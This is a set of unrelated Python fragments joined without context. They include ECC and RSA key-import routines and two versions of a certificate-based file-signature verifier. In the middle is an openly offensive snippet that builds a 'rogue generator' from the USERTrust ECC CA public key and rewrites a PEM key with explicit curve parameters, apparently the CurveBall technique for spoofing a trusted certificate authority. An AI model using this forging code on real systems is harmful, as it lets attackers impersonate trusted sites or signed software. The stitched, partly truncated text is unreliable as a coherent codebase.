encoded.startswith(b'-----'): text_encoded = tostr(encoded) # Remove any EC PARAMETERS section # Ignore its content because the curve type must be already given in the key ecparams_start = "-----BEGIN EC PARAMETERS-----" ecparams_end = "-----END EC PARAMETERS-----" text_encoded = re.sub(ecparams_start + ".*?" + ecparams_end, "", text_encoded, flags=re.DOTALL) der_encoded, marker, enc_flag = PEM.decode(text_encoded, passphrase) if enc_flag: passphrase = None try: result = _import_der(der_encoded, passphrase) except UnsupportedEccFeature as uef: raise uef except ValueError: raise ValueError("Invalid DER encoding inside the PEM file") return result # OpenSSH if encoded.startswith(b'ecdsa-sha2-'): return _import_openssh_public(encoded) # DER if len(encoded) > 0 and bord(encoded[0]) == 0x30: return _import_der(encoded, passphrase) raise ValueError("ECC key format is not supported")
def verify_signature(fname, sfname, public_crt=None, ca_crt=None, extra_crt=None, **kwargs): # pylint: disable=unused-argument """ Given the fname, sfname public_crt and ca_crt: return STATUS.FAIL if the signature doesn't match return STATUS.UNKNOWN if the certificate signature can't be verified with the ca cert return STATUS.VERIFIED if both the signature and the CA sig match """ if check_verif_timestamp(fname): log_error = log.error log_info = log.info else: log_error = log_info = log.debug if Options.verify_cache_age > 0: cache_key = _cache_key(fname, sfname, public_crt, ca_crt, extra_crt) res = _get_verify_cache(cache_key) if res is not None: log_info('using cached verify_signature(%s, %s) -> %s', fname, sfname, res) return res if public_crt is None: public_crt = Options.public_crt if ca_crt is None: ca_crt = Options.ca_crt if not (fname and sfname): status = STATUS.UNKNOWN log_info('!(fname=%s and sfname=%s) => status=%s', fname, sfname, status) return status short_fname = os.path.basename(fname) try: with open(sfname, 'r') as fh: sig, _, _ = PEM.decode( fh.read()) # also returns header and decrypted-status except IOError: status = STATUS.UNKNOWN verif_key = ':'.join([fname, sfname]) log_error('%s | file "%s" | status: %s ', short_fname, fname, status) return status x509 = X509AwareCertBucket(public_crt, ca_crt, extra_crt) hasher, chosen_hash = hash_target(fname, obj_mode=True) digest = hasher.finalize() salt_padding_bits_list = Options.salt_padding_bits if not isinstance(salt_padding_bits_list, (list, tuple)): salt_padding_bits_list = [salt_padding_bits_list] sha256sum = ''.join(f'{x:02x}' for x in digest) for crt, txt, pcrt_status in x509.public_crt: args = {'signature': sig, 'data': digest} pubkey = crt.get_pubkey().to_cryptography_key() for salt_padding_bits in salt_padding_bits_list: salt_padding_bits = _format_padding_bits(salt_padding_bits) if isinstance(pubkey, rsa.RSAPublicKey): args['padding'] = padding.PSS(mgf=padding.MGF1( hashes.SHA256()), salt_length=salt_padding_bits) args['algorithm'] = utils.Prehashed(chosen_hash) try: pubkey.verify(**args) log_info( 'verify_signature(%s, %s) | sbp: %s | status: %s | sha256sum: "%s" | (1) public cert fingerprint and requester: "%s"', fname, sfname, _format_padding_bits_txt(salt_padding_bits), pcrt_status, sha256sum, txt) if Options.verify_cache_age < 1: return pcrt_status return _set_verify_cache(cache_key, pcrt_status) except TypeError as tee: log_info( 'verify_signature(%s, %s) | sbp: %s | internal error using %s.verify() (%s): (2) %s', fname, sfname, _format_padding_bits_txt(salt_padding_bits), type(pubkey).__name__, stringify_cert_files(crt), tee) except InvalidSignature: log_info( 'verify_signature(%s, %s) InvalidSignature | sbp: %s | sha256sum: "%s" | public cert fingerprint and requester: "%s"', fname, sfname, _format_padding_bits_txt(salt_padding_bits), sha256sum, txt) status = STATUS.FAIL log_error( 'verify_signature(%s, %s) UnverifiedSignature | status: %s | sha256sum: "%s" | (4)', fname, sfname, status, sha256sum) return _set_verify_cache(cache_key, status)
def import_key(extern_key, passphrase=None): """Import an RSA key (public or private). Args: extern_key (string or byte string): The RSA key to import. The following formats are supported for an RSA **public key**: - X.509 certificate (binary or PEM format) - X.509 ``subjectPublicKeyInfo`` DER SEQUENCE (binary or PEM encoding) - `PKCS#1`_ ``RSAPublicKey`` DER SEQUENCE (binary or PEM encoding) - An OpenSSH line (e.g. the content of ``~/.ssh/id_ecdsa``, ASCII) The following formats are supported for an RSA **private key**: - PKCS#1 ``RSAPrivateKey`` DER SEQUENCE (binary or PEM encoding) - `PKCS#8`_ ``PrivateKeyInfo`` or ``EncryptedPrivateKeyInfo`` DER SEQUENCE (binary or PEM encoding) - OpenSSH (text format, introduced in `OpenSSH 6.5`_) For details about the PEM encoding, see `RFC1421`_/`RFC1423`_. passphrase (string or byte string): For private keys only, the pass phrase that encrypts the key. Returns: An RSA key object (:class:`RsaKey`). Raises: ValueError/IndexError/TypeError: When the given key cannot be parsed (possibly because the pass phrase is wrong). .. _RFC1421: http://www.ietf.org/rfc/rfc1421.txt .. _RFC1423: http://www.ietf.org/rfc/rfc1423.txt .. _`PKCS#1`: http://www.ietf.org/rfc/rfc3447.txt .. _`PKCS#8`: http://www.ietf.org/rfc/rfc5208.txt .. _`OpenSSH 6.5`: https://flak.tedunangst.com/post/new-openssh-key-format-and-bcrypt-pbkdf """ from Crypto.IO import PEM extern_key = tobytes(extern_key) if passphrase is not None: passphrase = tobytes(passphrase) if extern_key.startswith(b'-----BEGIN OPENSSH PRIVATE KEY'): text_encoded = tostr(extern_key) openssh_encoded, marker, enc_flag = PEM.decode(text_encoded, passphrase) result = _import_openssh_private_rsa(openssh_encoded, passphrase) return result if extern_key.startswith(b'-----'): # This is probably a PEM encoded key. (der, marker, enc_flag) = PEM.decode(tostr(extern_key), passphrase) if enc_flag: passphrase = None return _import_keyDER(der, passphrase) if extern_key.startswith(b'ssh-rsa '): # This is probably an OpenSSH key keystring = binascii.a2b_base64(extern_key.split(b' ')[1]) keyparts = [] while len(keystring) > 4: length = struct.unpack(">I", keystring[:4])[0] keyparts.append(keystring[4:4 + length]) keystring = keystring[4 + length:] e = Integer.from_bytes(keyparts[1]) n = Integer.from_bytes(keyparts[2]) return construct([n, e]) if len(extern_key) > 0 and bord(extern_key[0]) == 0x30: # This is probably a DER encoded key return _import_keyDER(extern_key, passphrase) raise ValueError("RSA key format is not supported")
# USERTrust ECC Certification Authority public key pubkey = b"1aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221b3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979" Q = Point(int(pubkey[0:96], 16), int(pubkey[96:], 16), curve=P384) # Generate rogue generator privkey_inv = 2 # we take the private key as being the inverse of 2 modulo the curve order privkey = gmpy2.invert(privkey_inv, P384.q) privkey = unhexlify(f'{privkey:x}'.encode()) # we multply our public key Q with the inverse of our chosen private key value rogueG = privkey_inv * Q rogueG = unhexlify(b"04" + f'{rogueG.x:x}'.encode() + f'{rogueG.y:x}'.encode()) # Generate the file with explicit parameters f = open('p384-key.pem', 'rt') keyfile = PEM.decode(f.read()) #print(hexlify(keyfile[0])) f.close() seq_der = DerSequence() der = seq_der.decode(keyfile[0]) # Replace private key octet_der = DerOctetString(privkey) der[1] = octet_der.encode() # Replace public key #print(hexlify(der[3])) bits_der = DerBitString(unhexlify(b"04" + pubkey)) der[3] = b"\xa1\x64" + bits_der.encode() #print(hexlify(der[3]))
def verify_signature(fname, sfname, public_crt='public.crt', ca_crt='ca-root.crt', extra_crt=None, **kwargs): # pylint: disable=unused-argument ### make """ Given the fname, sfname public_crt and ca_crt: return STATUS.FAIL if the signature doesn't match return STATUS.UNKNOWN if the certificate signature can't be verified with the ca cert return STATUS.VERIFIED if both the signature and the CA sig match """ log_level = log.debug if fname is None or sfname is None: status = STATUS.UNKNOWN log_level('fname=%s or sfname=%s is Nones => status=%s', fname, sfname, status) return status short_fname = fname.split('/')[-1] try: with open(sfname, 'r') as fh: sig, _, _ = PEM.decode( fh.read()) # also returns header and decrypted-status except IOError: status = STATUS.UNKNOWN verif_key = ':'.join([fname, sfname]) if check_verif_timestamp(verif_key): log_level = log.error log_level('%s | file "%s" | status: %s ', short_fname, fname, status) return status x509 = X509AwareCertBucket(public_crt, ca_crt, extra_crt) hasher, chosen_hash = hash_target(fname, obj_mode=True) digest = hasher.finalize() args = {'signature': sig, 'data': digest} for crt, txt, status in x509.public_crt: log_level = log.debug sha256sum = hash_target(fname) pubkey = crt.get_pubkey().to_cryptography_key() if isinstance(pubkey, rsa.RSAPublicKey): args['padding'] = padding.PSS( mgf=padding.MGF1(hashes.SHA256()), #salt_length=padding.PSS.MAX_LENGTH) salt_length=32) args['algorithm'] = utils.Prehashed(chosen_hash) try: pubkey.verify(**args) log_level( '%s | file "%s" | status: %s | sha256sum: "%s" | public cert fingerprint and requester: "%s"', short_fname, fname, status, sha256sum, txt) return status except InvalidSignature: status = STATUS.FAIL if check_verif_timestamp(fname): log_level = log.critical log_level( '%s | file "%s" | status: %s | sha256sum: "%s" | public cert fingerprint and requester: "%s"', short_fname, fname, status, sha256sum, txt) pass return STATUS.FAIL